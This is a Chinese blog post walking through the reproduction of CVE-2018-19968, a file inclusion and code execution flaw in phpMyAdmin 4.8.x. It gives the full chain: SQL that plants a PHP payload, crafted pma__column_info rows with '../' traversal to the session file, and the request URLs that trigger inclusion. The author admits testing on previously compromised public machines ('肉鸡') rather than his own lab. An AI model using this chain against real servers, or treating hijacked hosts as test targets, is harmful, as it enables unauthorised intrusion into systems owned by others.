CVE-2018-19968 (phpMyAdmin任意文件包含/远程代码执行漏洞)复现

CVE-2018-19968 (phpMyAdmin任意文件包含/远程代码执行漏洞)复现

这个漏洞是上个月出的一个phpmyadmin的漏洞。今天花了一下午的时间来复现了这个漏洞,写一下自己复现该漏洞的整个过程及自己的一些心得体会。


下面是官方的一些介绍:

2018年12月07日 phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。

Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。

通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。


我自己简单概括一下,就是有一个用户可控的数据表字段被替换后,可以当做命令执行了

先说说我自己在复现过程中踩到的坑。看网上别人的复现文章中,给了一个在线测试的网站。

VulnSpy 已为大家提供在线 phpMyAdmin 环境地址:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1,点击又上角的START TO HACK按钮可进行在线测试。

这个网站强烈推荐给大家。

不过在它的靶机里面,他试了很多次 都没能复现成功,不清楚是哪个地方出了问题。之后我又在公网随便找了些以前抓的肉鸡来复现,结果一下就成功了。。

这里为了方便,我还是找了一台肉鸡来演示(建议大家还是自己搭环境,linux的)

先登录到phpmyadmin的后台,执行下面的sql语句。

CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT ‘<?php phpinfo(); ?>’;

就已经将我们要执行的命令写入到了数据表的字段中,但此时还没有在数据库foo中生成phpmyadmin的配置表。访问

http://******换成自己测试的地址******/chk_rel.php?fixall_pmadb=1&db=foo

接下来将篡改后的Transformation数据插入表pma__column_info中:将sess_***中的***替换成你的会话ID,即COOKIE中phpMyAdmin的值

INSERT INTO `pma__column_info`SELECT '1''foo''bar''baz''plop',
'plop''plop''plop',
'../../../../../../../../tmp/sess_***','plop';

这里一个快速看自己cookie的方法就是打开浏览器的开发者工具,f12即可。再刷新一下。

执行sql。

访问http://******换成自己测试的地址******/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1,如果利用成功将会自动包含含有恶意代码的SESSION文件。

命令执行成功!漏洞复现完成。

说一下自己的收获;

  1. 看已有的漏洞,永远不如亲自复现一遍。有些坑自己踩过了印象要深刻的多。写这篇文章时,我就将这个漏洞在不同的版本上复现了好几次。
  2. 刚开始复现漏洞时,有的地方真的是一脸懵逼,把漏洞代码反复看了几十遍,直到弄明白了漏洞成因,对一些不清楚的函数方法查找并记录下来,对自己以后的代码审计也会有很大帮助。
  3. 当不清楚根目录位置时,可用多个../拼接,多了不会报错。

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。